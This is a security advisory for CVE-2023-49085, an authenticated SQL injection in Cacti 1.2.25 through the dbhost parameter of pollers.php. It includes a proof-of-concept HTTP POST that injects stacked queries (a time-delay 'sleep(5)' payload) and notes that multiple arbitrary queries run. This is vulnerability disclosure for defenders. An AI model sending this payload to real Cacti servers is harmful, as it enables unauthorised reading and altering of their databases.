Skip to content

SQL Injection vulnerability when managing poller devices

High
netniV published GHSA-vr3c-38wh-g855 Dec 20, 2023

Package

No package listed

Affected versions

1.2.25

Patched versions

None

Description

SQL Injection

Product: Cacti
Version: 1.2.25
Description: It is possible to execute arbitrary SQL code through the pollers.php script. Exploitation of the vulnerability is possible for an authorized user. The vulnerable component is the pollers.php. Impact of the vulnerability - arbitrary SQL code execution.
Mitigation: Improve user data escaping to prevent SQL injection.

Research

SQL Injection was executed in the pollers.php file.
The pollers.php file has an action – form_save, which is called if the user receives an action parameter with the value save.

fig7_orig
Figure 1. In the script pollers.php the form_save function is called

In the form_save function (line 321) the poller_host_duplicate function is called, and the second parameter passes the value without sanitization get_nfilter_request_var('dbhost').

fig8_orig

Figure 2. Getting the dbhost parameter and using it as the second parameter in the poller_host_duplicate function

There is a SQL Injection vulnerability in the function poller_host_duplicate on the line 427.

fig9_orig
Figure 3. SQL Injection using the $host variable, which is controlled by the attacker in the poller_host_duplicate function

Researcher creates an HTTP request containing SQL Injection, which will put the database server to sleep for 5 seconds.

Listing 1. HTTP request demonstrating SQL Injection

POST /cacti/pollers.php?header=false HTTP/1.1
Host: ***.***.*.174:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101
Firefox/119.0
Accept: */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 274
Origin: http://***.***.*.174:8080
Connection: close
Referer: http://***.***.*.174:8080/cacti/pollers.php?action=edit&id=1
Cookie: CactiDateTime=Sat Oct 28 2023 22:47:22 GMT+0300 (�о�ква,
��анда��ное в�ем�); CactiTimeZone=180;
Cacti=acbmsv2adk9forvpkqt0njd1oc;
cacti_remembers=1%2C0%2C28a320bc68fa35780e2f050b1f2eb14c0f0adc1d11112f87cf2360dd1
bbdc939; CactiDateTime=Fri Oct 27 2023 12:27:36 GMT+0300 (�о�ква,
��анда��ное в�ем�); CactiTimeZone=180
__csrf_magic=sid%3Aa75547fddea89cbf28c4b77050af90283d0b7554%2C1698522443&name=Mai
n+Poller&hostname=unknown&timezone=&notes=&processes=1&threads=1&id=2&save_compon
ent_poller=1&dbhost=";%20select%20sleep(5);%20select%20*%20from%20poller%20where%
201=1%20and%20"%"="&action=save

Note that this SQL Injection successfully supports multiqueries. This means that during one access to the database you can execute several arbitrary SQL queries unrelated to each other.
fig10_

Figure 4. HTTP request and HTTP response that returned from the server after more than 5 seconds

Researcher: Aleksey Solovev (Positive Technologies)

Severity

High
8.8
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2023-49085

Weaknesses

Credits